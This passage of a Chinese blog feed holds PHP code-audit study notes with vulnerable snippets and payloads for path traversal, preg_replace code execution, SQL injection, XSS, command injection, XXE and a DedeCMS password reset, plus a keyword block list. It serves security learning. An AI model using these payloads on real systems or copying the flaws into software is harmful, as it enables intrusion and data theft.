  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage-&gt;performAction($_GET['action'], $_GET['data']);
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</p>
</li>
<li>
<p>payload</p>
</li>
</ul>
<pre><code class="language-php line-numbers">$action = $delete$data = ../../config.php
</code></pre>
<h3>WeEngine0.8</h3>
<ul>
<li>web/source/site/category.ctrl.php:176</li>
</ul>
<p><strong>file_delete文件删除函数</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093718.png" alt="" /></p>
<ul>
<li>framework/function/file.func.php:294</li>
</ul>
<p><strong>查看file_delete函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510093823.png" alt="" /></p>
<ul>
<li>追朔$file变量从何而来</li>
</ul>
<pre><code class="language-php line-numbers">if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }
</code></pre>
<ul>
<li>追朔$navs从何而来</li>
</ul>
<pre><code class="language-php line-numbers">    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
</code></pre>
<ul>
<li>web/source/site/category.ctrl.php:137</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095825.png" alt="" /></p>
<ul>
<li>web/source/site/category.ctrl.php:130</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510095930.png" alt="" /></p>
<p><strong>$nav[&#8216;icon&#8217;] 即为文件删除函数的参</strong></p>
<h2>parse_str函数缺陷</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510103038.png" alt="" /></p>
<h2>preg_replace函数之命令执行</h2>
<h3>Candle</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex =&gt; $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</li>
</ul>
<pre><code class="line-numbers">mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] )
</code></pre>
<p><strong>$pattern 存在 /e 模式修正符，允许代码执行</strong><br />
<strong>/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行</strong></p>
<p><strong>将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">S*=${phpinfo()} 
</code></pre>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/2557">深入研究preg_replace与代码执行</a></p>
<h3>CmsEasy 5.5</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510160914.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>lib/tool/form.php:90</li>
</ul>
<p><strong>如果$form[$name][&#8216;default&#8217;]内容被匹配到就会执行eval</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510161952.png" alt="" /></p>
<ul>
<li>cache/template/default/manage/#guestadd.php:175</li>
</ul>
<p><strong>全局搜索getform，主要注意catid是作为$name的</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510162528.png" alt="" /></p>
<ul>
<li>lib/table/archive.php:25</li>
</ul>
<p><strong>追朔catid,寻找到default</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163510.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:2367</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163724.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:493</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510163809.png" alt="" /></p>
<ul>
<li>lib/tool/front_class.php:332</li>
</ul>
<p><strong>$form[$name][&#8216;default&#8217;]可控</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164008.png" alt="" /></p>
<ul>
<li>lib/default/manage_act.php:29</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510164614.png" alt="" /></p>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510165011.png" alt="" /></p>
<h2>str_replace函数过滤不当</h2>
<h4>Rabbit</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LanguageManager {
  public function loadLanguage() {
    $lang = $this-&gt;getBrowserLanguage();
    $sanitizedLang = $this-&gt;sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())-&gt;loadLanguage();
</code></pre>
<ul>
<li>str_replace(子字符串替换)</li>
</ul>
<pre><code class="line-numbers">str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。

str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">....// 或者 ..././ 
</code></pre>
<h3>Metinfo 6.0.0</h3>
<ul>
<li>strstr</li>
</ul>
<pre><code class="line-numbers">查找字符串的首次出现到结尾的字符串
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510181653.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>app/system/include/module/old_thumb.class.php:14</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183440.png" alt="" /></p>
<ul>
<li>include/thumb.php:6</li>
</ul>
<p><strong>全局搜索</strong><br />
<img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183630.png" alt="" /></p>
<ul>
<li>app/system/include/class/load.class.php:113</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200510183942.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
</code></pre>
<h2>程序未恰当exit导致的问题</h2>
<h3>Anticipation</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511104100.png" alt="" /></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">pl=phpinfo()
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105009.png" alt="" /></p>
<h3>FengCms 1.32</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105552.png" alt="" /></p>
<h3>Simple-Log1.6网站重装漏洞</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200511105858.png" alt="" /></p>
<h2>Tips整理</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
</code></pre>
<ul>
<li>preg_replace</li>
</ul>
<pre><code class="line-numbers">$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<ul>
<li>尾声</li>
</ul>
<p>本系列是弟弟跟着红日安全产出的代码审计教程系列学习的，原项目地址：[PHP-Audit-Labs]</p>
<p>(https://github.com/hongriSec/PHP-Audit-Labs)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习函数缺陷（1）</title>
		<link>/code/1575.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Wed, 06 May 2020 04:45:00 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1575</guid>

					<description><![CDATA[in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './solutions/'; pri...]]></description>
										<content:encoded><![CDATA[<h2>in_array函数缺陷</h2>
<h3>Wish List</h3>
<ul>
<li>Code</li>
</ul>
<pre><code class="">class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this-&gt;file = $file;
    $this-&gt;whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this-&gt;file['name'], $this-&gt;whitelist)) {
      move_uploaded_file(
        $this-&gt;file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this-&gt;file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
</code></pre>
<ul>
<li>代码理解</li>
</ul>
<p><strong>代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件</strong></p>
<ul>
<li>in_array函数</li>
</ul>
<pre><code class="">in_array
检查数组中是否存在某个值
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传</strong></p>
<h3>piwigo2.7.1实例分析</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308143432.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>于picture.php:332中</li>
</ul>
<pre><code class="">case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
</code></pre>
<p><strong>当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数</strong></p>
<ul>
<li>include/functions_rate.inc.php:38</li>
</ul>
<pre><code class="">or !in_array($rate, $conf['rate_items']))
</code></pre>
<p><strong>查找变量rate是否存在于$conf[&#8216;rate_items&#8217;]当中</strong></p>
<pre><code class="">$conf['rate_items']
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308145619.png" alt="" /></p>
<ul>
<li>直接将rate进行了拼接</li>
</ul>
<pre><code class="">$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
</code></pre>
<p><strong>只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
</code></pre>
<ul>
<li>sqlmap</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308174418.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308181630.png" alt="" /></p>
<ul>
<li>stop_hack函数</li>
</ul>
<pre><code class="">function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
</code></pre>
<p><strong>stop_hack用来过滤一些危险函数</strong></p>
<ul>
<li>注入</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200308182616.png" alt="" /></p>
<p><strong>获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询</strong></p>
<ul>
<li>报错注入payload</li>
</ul>
<pre><code class="">and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200308183821.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
</code></pre>
<h2>filter_var函数缺陷</h2>
<h3>Twig</h3>
<pre><code class="">// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '&lt;img ' .
      'src="https://loremflickr.com/320/240"&gt;' .
      '&lt;a href="{{link|escape}}"&gt;Next slide &amp;raquo;&lt;/a&gt;';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new TwigLoaderArrayLoader([
      'index.html' =&gt; $indexTemplate
    ]);
    $this-&gt;twig = new TwigEnvironment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this-&gt;twig-&gt;render(
      'index.html',
      ['link' =&gt; $this-&gt;getNexSlideUrl()]
    );
  }
}

(new Template())-&gt;render();
</code></pre>
<p><strong>使用escape和filter_var进行过滤</strong></p>
<ul>
<li>escape</li>
</ul>
<p><strong>默认是使用了htmlspecialchars方法进行过滤，</strong></p>
<ul>
<li>filter_var</li>
</ul>
<pre><code class="">使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
</code></pre>
<ul>
<li>htmlspecialchars转义</li>
</ul>
<pre><code class="">&amp; (&amp; 符号)  ===============  &amp;amp;
" (双引号)  ===============  &amp;quot;
' (单引号)  ===============  &amp;apos;
&lt; (小于号)  ===============  &amp;lt;
&gt; (大于号)  ===============  &amp;gt;
</code></pre>
<p><strong>默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">javascript://comment%250aalert(1)
</code></pre>
<h3>anchor-cms</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309141247.png" alt="" /></p>
<h4>源码分析</h4>
<ul>
<li>themes/default/404.php:9</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309150252.png" alt="" /></p>
<ul>
<li>anchor/functions/helpers.php:34 current_url()函数</li>
</ul>
<pre><code class="">function current_url() {
    return Uri::current();
}
</code></pre>
<ul>
<li>system/uri.php:84</li>
</ul>
<pre><code class="">public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
</code></pre>
<ul>
<li>detect 方法</li>
</ul>
<pre><code class="">public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server-&gt;has($method) and $uri = $server-&gt;get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }
</code></pre>
<p><strong>关键代码</strong></p>
<pre><code class="">if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
</code></pre>
<ul>
<li>system/uri.php:126</li>
</ul>
<pre><code class="">    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\^~[]`&lt;&gt;#%";/?:@&amp;=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }
</code></pre>
<p><strong>没有对xss进行过滤</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309153333.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200309155130.png" alt="" /></p>
<ul>
<li>flag.php</li>
</ul>
<pre><code class="">&lt;?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?&gt;
</code></pre>
<ul>
<li>index.php</li>
</ul>
<pre><code class="">&lt;?php 
$url = $_GET['url']; // 获取url

if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "&lt;center&gt;&lt;h1&gt;You have curl {$site_info['host']} successfully!&lt;/h1&gt;&lt;/center&gt;
              &lt;center&gt;&lt;textarea rows='20' cols='90'&gt;";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;");
    }

}
else{
    echo "&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;
          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;";
}
?&gt;
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat&lt;f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200309162636.png" alt="" /></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller-&gt;render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this-&gt;template = $template;
    $this-&gt;variables = $variables;
  }

  public function render() {
    if ($this-&gt;variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310141611.png" alt="" /></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310142234.png" alt="" /></p>
<ul>
<li>打断点</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143309.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310143748.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310144659.png" alt="" /></p>
<p><strong>使用$this->Request()->getParam(&#8216;sort&#8217;)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145112.png" alt="" /></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310145747.png" alt="" /></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310153139.png" alt="" /></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="">/test/backend/ProductStream/loadPreview?_dc=1583825465339&amp;sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&amp;conditions={}&amp;shopId=1&amp;currencyId=1&amp;customerGroupKey=EK&amp;page=1&amp;start=0&amp;limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200310160323.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">&lt;?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=&gt;$value)
        echo $key.'=&gt;'.$value.'&lt;br&gt;';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">http://127.0.0.1:8888/index.php?name=GlobIterator&amp;param=./*.php&amp;param2=0
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165128.png" alt="" /></p>
<ul>
<li>读取flag</li>
</ul>
<pre><code class="">http://127.0.0.1:8888/index.php?name=SimpleXMLElement&amp;param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&amp;param2=2
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165415.png" alt="" /><br />
&#8211; 参考</p>
<pre><code class="">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Login {
  public function __construct($user, $pass) {
    $this-&gt;loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '&lt;') || !strpos($user, '&gt;')) &amp;&amp;
      (!strpos($pass, '&lt;') || !strpos($pass, '&gt;'))
    ) {
      $format = '&lt;?xml version="1.0"?&gt;' .
        '&lt;user v="%s"/&gt;&lt;pass v="%s"/&gt;';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this-&gt;login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有&lt;与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">user=&lt;"&gt;&lt;injected-tag property="&amp;pass=&lt;injected-tag&gt;
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311133852.png" alt="" /></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311140110.png" alt="" /></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db-&gt;GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312132918.png" alt="" /></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="">if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''&amp; null == ''){
    sn()
}

 if(false &amp;&amp; true)
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312134303.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312135317.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p><img src="/wp-content/uploads/2020/05/20200312140852.png" alt="" /></p>
<p><strong>如果$send == &#8216;N&#8217;则发送重置邮件</strong></p>
<pre><code class="">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="">/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim &gt; $row['mailtime'])
        {
            $db-&gt;executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="">&lt;input type="hidden" name="dopost" value="getpasswd"&gt;
&lt;input type="hidden" name="setp" value="2"&gt;
&lt;input type="hidden" name="id" value="&lt;?php echo $id;?&gt;" /&gt;
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db-&gt;executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db-&gt;executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
